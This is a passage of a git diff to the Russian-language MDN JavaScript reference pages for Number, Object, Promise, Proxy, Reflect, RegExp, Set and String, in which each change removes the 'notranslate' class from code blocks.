12345.6789; numObj.toFixed(); // Вернёт '12346': обратите внимание на округление, дробной части нет numObj.toFixed(1); // Вернёт '12345.7': обратите внимание на округление diff --git a/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html b/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html index da8d601c7d..fd39f6dd5a 100644 --- a/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/toprecision/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>numObj</var>.toPrecision([<var>precision</var>])</code></pre> +<pre class="syntaxbox"><code><var>numObj</var>.toPrecision([<var>precision</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision <h3 id="Example_Using_toPrecision">Пример: использование <code>toPrecision</code></h3> -<pre class="brush: js notranslate">var numObj = 5.123456; +<pre class="brush: js">var numObj = 5.123456; console.log(numObj.toPrecision()); // выведет '5.123456' console.log(numObj.toPrecision(5)); // выведет '5.1235' diff --git a/files/ru/web/javascript/reference/global_objects/number/tostring/index.html b/files/ru/web/javascript/reference/global_objects/number/tostring/index.html index 86cd5b3b60..3f8103311d 100644 --- a/files/ru/web/javascript/reference/global_objects/number/tostring/index.html +++ b/files/ru/web/javascript/reference/global_objects/number/tostring/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre> +<pre class="syntaxbox"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString <h3 id="Example_Using_toString">Пример: использование <code>toString</code></h3> -<pre class="brush: js notranslate">var count = 10; +<pre class="brush: js">var count = 10; console.log(count.toString()); // Выведет '10' console.log((17).toString()); // Выведет '17' diff --git a/files/ru/web/javascript/reference/global_objects/object/create/index.html b/files/ru/web/javascript/reference/global_objects/object/create/index.html index f7b4d2c69b..09ac00405a 100644 --- a/files/ru/web/javascript/reference/global_objects/object/create/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/create/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/create <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>Object.create(<var>proto</var>[, <var>propertiesObject</var>])</code></pre> +<pre class="syntaxbox"><code>Object.create(<var>proto</var>[, <var>propertiesObject</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/create <p>Ниже показан пример использования <code>Object.create()</code> для имитации классического наследования. Это пример одиночного наследования, поскольку только его поддерживает JavaScript.</p> -<pre class="brush: js notranslate">// Shape — суперкласс +<pre class="brush: js">// Shape — суперкласс function Shape() { this.x = 0; this.y = 0; @@ -73,7 +73,7 @@ rect.move(1, 1); // выведет 'Фигура переместилась.' <p>Если вы хотите наследоваться от нескольких объектов, то это возможно сделать при помощи примесей.</p> -<pre class="brush: js notranslate">function MyClass() { +<pre class="brush: js">function MyClass() { SuperClass.call(this); OtherSuperClass.call(this); } @@ -90,7 +90,7 @@ MyClass.prototype.myMethod = function() { <h3 id="Example.3A_Using_propertiesObject_argument_with_Object.create">Пример: использование аргумента <code>propertiesObject</code> с <code>Object.create()</code></h3> -<pre class="brush: js notranslate">var o; +<pre class="brush: js">var o; // создаём объект с нулевым прототипом o = Object.create(null); @@ -159,7 +159,7 @@ o2 = Object.create({}, { <p>Для этого полифила необходима правильно работающая Object.prototype.hasOwnProperty.</p> -<pre class="brush: js notranslate">if (typeof Object.create != 'function') { +<pre class="brush: js">if (typeof Object.create != 'function') { // Этапы производства ECMA-262, издание 5, 15.2.3.5 // Ссылка: http://es5.github.io/#x15.2.3.5 Object.create = (function() { diff --git a/files/ru/web/javascript/reference/global_objects/object/entries/index.html b/files/ru/web/javascript/reference/global_objects/object/entries/index.html index fd74a6a286..5cba32dbc5 100644 --- a/files/ru/web/javascript/reference/global_objects/object/entries/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/entries/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>Object.entries(<var>obj</var>)</code></pre> +<pre class="syntaxbox"><code>Object.entries(<var>obj</var>)</code></pre> <h3 id="Параметры">Параметры</h3> @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">var obj = { foo: "bar", baz: 42 }; +<pre class="brush: js">var obj = { foo: "bar", baz: 42 }; console.log(Object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ] // массив как объект @@ -49,7 +49,7 @@ console.log(Object.entries(my_obj)); // [ ['foo', 'bar'] ] // non-object argument will be coerced to an object console.log(Object.entries("foo")); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ]</pre> -<pre class="notranslate"><code>// returns an empty array for any primitive type, since primitives have no own properties +<pre><code>// returns an empty array for any primitive type, since primitives have no own properties console.log(Object.entries(100)); // [ ] // iterate through key-value gracefully @@ -67,7 +67,7 @@ Object.entries(obj).forEach(([key, value]) => { <p>Конструктор {{jsxref("Map", "new Map()")}} принимает повторение <em>значений</em>. С <code>Object.entries </code>вы легко можете преобразовать {{jsxref("Object")}} в {{jsxref("Map")}}:</p> -<pre class="brush: js notranslate">var obj = { foo: "bar", baz: 42 }; +<pre class="brush: js">var obj = { foo: "bar", baz: 42 }; var map = new Map(Object.entries(obj)); console.log(map); // Map { foo: "bar", baz: 42 }</pre> @@ -75,7 +75,7 @@ console.log(map); // Map { foo: "bar", baz: 42 }</pre> <p>Используя <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#%D0%A0%D0%B0%D0%B7%D0%B1%D0%BE%D1%80_%D0%BC%D0%B0%D1%81%D1%81%D0%B8%D0%B2%D0%BE%D0%B2">метод Разбора Массивов</a> Вы можете легко итерировать объекты.</p> -<pre class="notranslate"><code>const obj = { foo: 'bar', baz: 42 }; +<pre><code>const obj = { foo: 'bar', baz: 42 }; Object.entries(obj).forEach(([key, value]) => console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42"</code></pre> <h2 id="Полифил">Полифил</h2> diff --git a/files/ru/web/javascript/reference/global_objects/promise/then/index.html b/files/ru/web/javascript/reference/global_objects/promise/then/index.html index 5bdc241aa9..797adc9171 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/then/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/then/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>p.then(onFulfilled[, onRejected])</var>; +<pre class="syntaxbox"><var>p.then(onFulfilled[, onRejected])</var>; p.then(value => { // выполнение @@ -43,7 +43,7 @@ p.then(value => { <h3 id="Использование_метода_then">Использование метода <code>then</code></h3> -<pre class="brush: js notranslate">var p1 = new Promise(function(resolve, reject) { +<pre class="brush: js">var p1 = new Promise(function(resolve, reject) { resolve("Успех!"); // или // reject("Ошибка!"); @@ -60,7 +60,7 @@ p1.then(function(value) { <p>Так как метод <code>then</code> возвращает промис (<code>Promise</code>), вы можете объединить несколько вызовов <code>then</code> в цепочку. Значения возвращаемые из колбэков onFulfilled или onRejected будут автоматически обёрнуты в промис.</p> -<pre class="brush: js notranslate">var p2 = new Promise(function(resolve, reject) { +<pre class="brush: js">var p2 = new Promise(function(resolve, reject) { resolve(1); }); @@ -78,7 +78,7 @@ p2.then(function(value) { <p>Вы также можете соединить одну функцию, имеющую подобный с промисами API, с другой функцией.</p> -<pre class="brush: js notranslate">function fetch_current_data() { +<pre class="brush: js">function fetch_current_data() { // API функции fetch() возвращает промис. Эта функция // имеет аналогичный API, за исключением значения в случае выполнения return fetch("current-data.json").then((response) => { @@ -95,7 +95,7 @@ p2.then(function(value) { <p>Если onFulfilled возвращает промис, возвращаемое значение может быть выполнено (resolved) / отклонено (rejected) промисом.</p> -<pre class="brush: js notranslate">function resolveLater(resolve, reject) { +<pre class="brush: js">function resolveLater(resolve, reject) { setTimeout(function () { resolve(10); }, 1000); diff --git a/files/ru/web/javascript/reference/global_objects/proxy/index.html b/files/ru/web/javascript/reference/global_objects/proxy/index.html index 12f1cfc36f..3611061bef 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/index.html @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy <p>Прокси - это новые объекты; невозможно выполнить "проксирование" существующего объекта. Пример создания прокси:</p> -<pre class="brush: js notranslate">var p = new Proxy(target, handler); +<pre class="brush: js">var p = new Proxy(target, handler); </pre> <p>Где:</p> @@ -150,7 +150,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy <p>Объект, возвращающий значение <code>37</code>, в случае отсутствия свойства с указанным именем:</p> -<pre class="brush: js notranslate">var handler = { +<pre class="brush: js">var handler = { get: function(target, name){ return name in target? target[name] : @@ -170,7 +170,7 @@ console.log('c' in p, p.c); // false, 37 <p>В данном примере мы используем JavaScript объект, к которому наш прокси направляет все запросы:</p> -<pre class="brush: js notranslate">var target = {}; +<pre class="brush: js">var target = {}; var p = new Proxy(target, {}); p.a = 37; // операция перенаправлена прокси @@ -182,7 +182,7 @@ console.log(target.a); // 37. Операция была успешно пере <p>При помощи <code>Proxy</code> вы можете легко проверять передаваемые объекту значения:</p> -<pre class="brush: js notranslate">let validator = { +<pre class="brush: js">let validator = { set: function(obj, prop, value) { if (prop === 'age') { if (!Number.isInteger(value)) { @@ -213,7 +213,7 @@ person.age = 300; // Вызовет исключение <p>Функция прокси может легко дополнить конструктор новым:</p> -<pre class="brush: js notranslate">function extend(sup, base) { +<pre class="brush: js">function extend(sup, base) { var descriptor = Object.getOwnPropertyDescriptor( base.prototype, 'constructor', ); @@ -260,7 +260,7 @@ console.log(Peter.age); // 13 <p>Иногда возникает необходимость переключить атрибут или имя класса у двух разных элементов:</p> -<pre class="brush: js notranslate">let view = new Proxy({ +<pre class="brush: js">let view = new Proxy({ selected: null }, { @@ -293,7 +293,7 @@ console.log(i2.getAttribute('aria-selected')); // 'true' <p>Прокси объект <code>products</code> проверяет передаваемые значения и преобразует их в массив в случае необходимости. Объект также поддерживает дополнительное свойство <code>latestBrowser</code> на чтение и запись.</p> -<pre class="brush: js notranslate">let products = new Proxy({ +<pre class="brush: js">let products = new Proxy({ browsers: ['Internet Explorer', 'Netscape'] }, { @@ -336,7 +336,7 @@ console.log(products.latestBrowser); // 'Chrome' <p>Данный прокси расширяет массив дополнительными возможностями. Как вы видите, вы можете гибко "задавать" свойства без использования <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperties"><code>Object.defineProperties</code></a>. Данный пример также может быть использован для поиска строки таблицы по её ячейке. В этом случае целью будет <a href="/en-US/docs/DOM/table.rows"><code>table.rows</code></a>.</p> -<pre class="brush: js notranslate">let products = new Proxy([ +<pre class="brush: js">let products = new Proxy([ { name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }, { name: 'Thunderbird', type: 'mailer' } @@ -397,7 +397,7 @@ console.log(products.number); // 3 <p>В данном примере, использующем все виды перехватчиков, мы попытаемся проксировать <em>не нативный</em> объект, который частично приспособлен для этого - <code>docCookies,</code> созданном в разделе <a href="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">"little framework" и опубликованном на странице <code>document.cookie</code></a>.</p> -<pre class="brush: js notranslate">/* +<pre class="brush: js">/* var docCookies = ... получить объект "docCookies" можно здесь: https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support */ diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html index 50c940dd66..b9981c3d0f 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/apply/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">const <var>p</var> = new Proxy(<var>target</var>, { +<pre class="syntaxbox">const <var>p</var> = new Proxy(<var>target</var>, { apply: function(<var>target</var>, <var>thisArg</var>, <var>argumentsList</var>) { } }); @@ -66,7 +66,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply <p>Следующий код ловит вызов функции.</p> -<pre class="brush: js notranslate">const p = new Proxy(function() {}, { +<pre class="brush: js">const p = new Proxy(function() {}, { apply: function(target, thisArg, argumentsList) { console.log('called: ' + argumentsList.join(', ')); return argumentsList[0] + argumentsList[1] + argumentsList[2]; diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html index 07c349853f..9c8dc59f4e 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/get/index.html @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">const <var>p</var> = new Proxy(<var>target</var>, { +<pre class="syntaxbox">const <var>p</var> = new Proxy(<var>target</var>, { get: function(<var>target</var>, <var>property</var>, <var>receiver</var>) { } }); @@ -65,7 +65,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get <p>Следующий код перехватывает получение значения свойства.</p> -<pre class="brush: js notranslate">const p = new Proxy({}, { +<pre class="brush: js">const p = new Proxy({}, { get: function(target, property, receiver) { console.log('called: ' + property); return 10; @@ -78,7 +78,7 @@ console.log(p.a); // "called: a" <p>Следующий код нарушает инвариант.</p> -<pre class="brush: js notranslate">const obj = {}; +<pre class="brush: js">const obj = {}; Object.defineProperty(obj, 'a', { configurable: false, enumerable: false, diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html index 1bf6b70b43..0e3ba67f53 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy <h2 id="Syntax">Syntax</h2> -<pre class="syntaxbox notranslate">new Proxy(<var>target</var>, <var>handler</var>)</pre> +<pre class="syntaxbox">new Proxy(<var>target</var>, <var>handler</var>)</pre> <h3 id="Parameters">Parameters</h3> @@ -77,7 +77,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy <p>In this example the target has two properties, <code>notProxied</code> and <code>proxied</code>. We define a handler that returns a different value for <code>proxied</code>, and lets any other accesses through to the target.</p> -<pre class="brush: js notranslate">const target = { +<pre class="brush: js">const target = { notProxied: "original value", proxied: "original value" }; diff --git a/files/ru/web/javascript/reference/global_objects/proxy/proxy/set/index.html b/files/ru/web/javascript/reference/global_objects/proxy/proxy/set/index.html index 7c1eade6a7..2f1d58fa1b 100644 --- a/files/ru/web/javascript/reference/global_objects/proxy/proxy/set/index.html +++ b/files/ru/web/javascript/reference/global_objects/proxy/proxy/set/index.html @@ -18,7 +18,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">var p = new Proxy(target, { +<pre class="brush: js">var p = new Proxy(target, { set: function(target, property, value, receiver) { } }); @@ -82,7 +82,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set <p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Следующий код перехватывает установку значения свойству</span></span></span><span lang="ru"><span>.</span></span></p> -<pre class="brush: js notranslate">var p = new Proxy({}, { +<pre class="brush: js">var p = new Proxy({}, { set: function(target, prop, value, receiver) { target[prop] = value console.log('property set: ' + prop + ' = ' + value) diff --git a/files/ru/web/javascript/reference/global_objects/reflect/index.html b/files/ru/web/javascript/reference/global_objects/reflect/index.html index 1764ba8aac..62463ed859 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/index.html @@ -50,7 +50,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect <h3 id="Проверка_наличия_конкретных_свойств_у_объекта">Проверка наличия конкретных свойств у объекта</h3> -<pre class="brush: js notranslate">const duck = { +<pre class="brush: js">const duck = { name: 'Maurice', color: 'white', greeting: function() { @@ -65,12 +65,12 @@ Reflect.has(duck, 'haircut'); <h3 id="Возврат_собственных_ключей_объекта">Возврат собственных ключей объекта</h3> -<pre class="brush: js notranslate">Reflect.ownKeys(duck); +<pre class="brush: js">Reflect.ownKeys(duck); // [ "name", "color", "greeting" ]</pre> <h3 id="Добавление_нового_свойства_в_объект">Добавление нового свойства в объект</h3> -<pre class="brush: js notranslate">Reflect.set(duck, 'eyes', 'black'); +<pre class="brush: js">Reflect.set(duck, 'eyes', 'black'); // вернётся "true" если вызов успешен // объект "duck" теперь содержит свойство "eyes" со значением "black"</pre> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/index.html b/files/ru/web/javascript/reference/global_objects/regexp/index.html index a6eb782e72..601b6d84ed 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/index.html @@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp <p>Возможны как литеральная запись, так и запись через конструктор:</p> -<pre class="syntaxbox notranslate"><code>/<var>pattern</var>/<var>flags</var> +<pre class="syntaxbox"><code>/<var>pattern</var>/<var>flags</var> new RegExp(<var>pattern</var>, <var>flags</var>)</code> </pre> @@ -56,7 +56,7 @@ new RegExp(<var>pattern</var>, <var>flags</var>)</code> <p>Существует два способа создания объекта <code>RegExp</code>: литеральная запись и использование конструктора. При записи строк параметры в литеральной записи не используют символы кавычек, в то время как параметры функции-конструктора используют кавычки. Так что следующие выражения создают одинаковые регулярные выражения:</p> -<pre class="brush: js notranslate">/ab+c/i; +<pre class="brush: js">/ab+c/i; new RegExp('ab+c', 'i'); </pre> @@ -66,7 +66,7 @@ new RegExp('ab+c', 'i'); <p>При использовании функции-конструктора необходимо использовать обычные правила экранирования в строках (предварять специальные символы символом обратного слеша «\»). Например, следующие выражения эквивалентны:</p> -<pre class="brush: js notranslate">var re = /\w+/; +<pre class="brush: js">var re = /\w+/; var re = new RegExp('\\w+'); </pre> @@ -456,7 +456,7 @@ var re = new RegExp('\\w+'); <p>Следующий скрипт использует метод {{jsxref("String.prototype.replace()", "replace()")}} экземпляра строки {{jsxref("Global_Objects/String", "String")}} для сопоставления с именем в формате <em>имя фамилия</em> и выводит его в формате <em>фамилия, имя</em>. В тесте замены скрипт использует заменители <code>$1</code> и <code>$2</code>, которые заменяются на результаты соответствующих сопоставившихся подгрупп регулярного выражения.</p> -<pre class="brush: js notranslate">var re = /(\w+)\s(\w+)/; +<pre class="brush: js">var re = /(\w+)\s(\w+)/; var str = 'John Smith'; var newstr = str.replace(re, '$2, $1'); console.log(newstr); @@ -474,7 +474,7 @@ console.log(newstr); <p>Символы конца строки различаются на различных платформах (Unix, Windows и так далее). Разбиение строк из этого примера работает на всех платформах.</p> -<pre class="brush: js notranslate">var text = 'Некоторый текст\nЕщё текст\r\nИ ещё\rЭто конец'; +<pre class="brush: js">var text = 'Некоторый текст\nЕщё текст\r\nИ ещё\rЭто конец'; var lines = text.split(/\r\n|\r|\n/); console.log(lines); // выведет [ 'Некоторый текст', 'Ещё текст', 'И ещё', 'Это конец' ] </pre> @@ -483,7 +483,7 @@ console.log(lines); // выведет [ 'Некоторый текст', 'Ещё <h3 id="Example_Using_regular_expression_on_multiple_lines">Пример: использование регулярных выражений на нескольких строках</h3> -<pre class="brush: js notranslate">var s = 'Please yes\nmake my day!'; +<pre class="brush: js">var s = 'Please yes\nmake my day!'; s.match(/yes.*day/); // Вернёт null s.match(/yes[^]*day/); @@ -494,7 +494,7 @@ s.match(/yes[^]*day/); <p>Этот пример демонстрирует, как можно использовать флаг «липучести» регулярных выражений для сопоставления с отдельными строками многострочного ввода.</p> -<pre class="brush: js notranslate">var text = 'Первая строка\nВторая строка'; +<pre class="brush: js">var text = 'Первая строка\nВторая строка'; var regex = /(\S+) строка\n?/y; var match = regex.exec(text); @@ -511,7 +511,7 @@ console.log(match3 === null); // напечатает 'true' <p>Во время выполнения можно проверить, поддерживается ли флаг «липучести», при помощи блока <code>try { … } catch { … }</code>. Для этого надо использовать либо выражение с <code>eval(…)</code>, либо конструктор <code>RegExp(<var>строка-регулярки</var>, <var>строка-с-флагами</var>)</code> (поскольку нотация <code>/<var>регулярка</var>/<var>флаги</var></code> обрабатывается во время компиляции, исключение будет выброшено до того, как выполнение достигнет блока <code>catch</code>). Например:</p> -<pre class="brush: js notranslate">var supports_sticky; +<pre class="brush: js">var supports_sticky; try { RegExp('', 'y'); supports_sticky = true; } catch(e) { supports_sticky = false; } console.log(supports_sticky); // напечатает 'true' @@ -521,7 +521,7 @@ console.log(supports_sticky); // напечатает 'true' <p>Как уже сказано выше, символьные классы <code>\w</code> и <code>\W</code> сопоставляются только с базовыми символами ASCII; то есть, с символами от «a» до «z», от «A» до «Z», от «0» до «9» и символом «_». Для сопоставления с символами из других языков, например, с кириллическими или иврита, используйте форму <code>\uhhhh</code>, где «hhhh» — это значение символа Юникода, записанное в шестнадцатеричной форме. Этот пример демонстрирует, как можно выделить символы Юникода, составляющие слова.</p> -<pre class="brush: js notranslate">var text = 'Образец text на русском языке'; +<pre class="brush: js">var text = 'Образец text на русском языке'; var regex = /[\u0400-\u04FF]+/g; var match = regex.exec(text); @@ -539,7 +539,7 @@ console.log(regex.lastIndex); // напечатает '15' <h3 id="Example_Extracting_subdomain_name_from_URL">Пример: извлечение имени поддомена из URL</h3> -<pre class="brush: js notranslate">var url = 'http://xxx.domain.com'; +<pre class="brush: js">var url = 'http://xxx.domain.com'; console.log(/[^.]+/.exec(url)[0].substr(7)); // напечатает 'xxx' </pre> @@ -578,7 +578,7 @@ console.log(/[^.]+/.exec(url)[0].substr(7)); // напечатает 'xxx' <p>Начиная с Gecko 34 {{geckoRelease(34)}}, в случае захвата группы с квантификаторами, предотвращающими появление группы в результате сопоставления, сопоставившийся текст для захваченной группы теперь имеет значение <code>undefined</code> вместо пустой строки:</p> -<pre class="brush: js notranslate">// Firefox 33 или более ранние +<pre class="brush: js">// Firefox 33 или более ранние 'x'.replace(/x(.)?/g, function(m, group) { console.log("'group:" + group + "'"); }); // 'group:' diff --git a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html index 89551d517b..fd3232f351 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>RegExp</var>.lastMatch +<pre class="syntaxbox"><var>RegExp</var>.lastMatch RegExp['$&'] </pre> @@ -25,7 +25,7 @@ RegExp['$&'] <h3 id="Использование_lastMatch_и">Использование <code>lastMatch</code> и <code>$&</code></h3> -<pre class="brush: js notranslate">var re = /hi/g; +<pre class="brush: js">var re = /hi/g; re.test('hi there!'); RegExp.lastMatch; // "hi" RegExp['$&']; // "hi" diff --git a/files/ru/web/javascript/reference/global_objects/set/set/index.html b/files/ru/web/javascript/reference/global_objects/set/set/index.html index 8febad1cee..2720aafa80 100644 --- a/files/ru/web/javascript/reference/global_objects/set/set/index.html +++ b/files/ru/web/javascript/reference/global_objects/set/set/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">new Set([<var>iterable</var>])</pre> +<pre class="syntaxbox">new Set([<var>iterable</var>])</pre> <h3 id="Параметры">Параметры</h3> @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set <h3 id="Использование_объекта_Set">Использование объекта Set</h3> -<pre class="brush: js notranslate">let mySet = new Set() +<pre class="brush: js">let mySet = new Set() mySet.add(1) // Set [ 1 ] mySet.add(5) // Set [ 1, 5 ] diff --git a/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html b/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html index 9b26c886e7..203c8a97f0 100644 --- a/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/@@iterator/index.html @@ -22,13 +22,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/@@iterator <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>string</var>[Symbol.iterator]</code></pre> +<pre class="syntaxbox"><code><var>string</var>[Symbol.iterator]</code></pre> <h2 id="Examples">Примеры</h2> <h3 id="Example_Using_.5B.40.40iterator.5D">Пример: использование метода <code>[@@iterator]()</code></h3> -<pre class="brush:js notranslate">var string = 'A\uD835\uDC68'; +<pre class="brush:js">var string = 'A\uD835\uDC68'; var strIter = string[Symbol.iterator](); @@ -38,7 +38,7 @@ console.log(strIter.next().value); // "\uD835\uDC68" <h3 id="Example_Using_.5B.40.40iterator.5D_with_for..of">Пример: использование метода <code>[@@iterator]()</code> вместе с циклом <code>for..of</code></h3> -<pre class="brush:js notranslate">var string = 'A\uD835\uDC68B\uD835\uDC69C\uD835\uDC6A'; +<pre class="brush:js">var string = 'A\uD835\uDC68B\uD835\uDC69C\uD835\uDC6A'; for (var v of string) { console.log(v); diff --git a/files/ru/web/javascript/reference/global_objects/string/endswith/index.html b/files/ru/web/javascript/reference/global_objects/string/endswith/index.html index 1fa53bd180..fe4795f959 100644 --- a/files/ru/web/javascript/reference/global_objects/string/endswith/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/endswith/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>str</var>.endsWith(<var>searchString</var>[, <var>length</var>])</code></pre> +<pre class="syntaxbox"><code><var>str</var>.endsWith(<var>searchString</var>[, <var>length</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith <h3 id="Example_Using_endsWith">Пример: использование метода <code>endsWith()</code></h3> -<pre class="brush: js notranslate">var str = 'Быть или не быть, вот в чём вопрос.'; +<pre class="brush: js">var str = 'Быть или не быть, вот в чём вопрос.'; console.log(str.endsWith('вопрос.')); // true console.log(str.endsWith('быть')); // false @@ -51,7 +51,7 @@ console.log(str.endsWith('быть', 16)); // true <p>Этот метод был добавлен к спецификации ECMAScript 6 и может быть доступен ещё не во всех реализациях JavaScript. Однако, вы можете легко эмулировать этот метод при помощи следующего кода:</p> -<pre class="brush: js notranslate">if (!String.prototype.endsWith) { +<pre class="brush: js">if (!String.prototype.endsWith) { Object.defineProperty(String.prototype, 'endsWith', { value: function(searchString, position) { var subjectString = this.toString(); diff --git a/files/ru/web/javascript/reference/global_objects/string/index.html b/files/ru/web/javascript/reference/global_objects/string/index.html index 5db7b5e416..80c7293c4d 100644 --- a/files/ru/web/javascript/reference/global_objects/string/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String <p>Строковые литералы могут быть следующих форм:</p> -<pre class="syntaxbox notranslate"><code>'строка текста' +<pre class="syntaxbox"><code>'строка текста' "строка текста" "中文 español English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ்" </code></pre> @@ -84,7 +84,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String <p>Либо можно использовать глобальный объект <code>String</code> напрямую:</p> -<pre class="syntaxbox notranslate"><code>String(thing) +<pre class="syntaxbox"><code>String(thing) new String(thing) </code></pre> @@ -103,12 +103,12 @@ new String(thing) <p>Существует два способа добраться до конкретного символа в строке. В первом способе используется метод {{jsxref("String.prototype.charAt()", "charAt()")}}:</p> -<pre class="brush: js notranslate">return 'кот'.charAt(1); // вернёт "о" +<pre class="brush: js">return 'кот'.charAt(1); // вернёт "о" </pre> <p>Другим способом (введённым в ECMAScript 5) является рассмотрение строки как массивоподобного объекта, в котором символы имеют соответствующие числовые индексы:</p> -<pre class="brush: js notranslate">return 'кот'[1]; // вернёт "о" +<pre class="brush: js">return 'кот'[1]; // вернёт "о" </pre> <p>При доступе к символам посредством нотации с квадратными скобками, попытка удалить 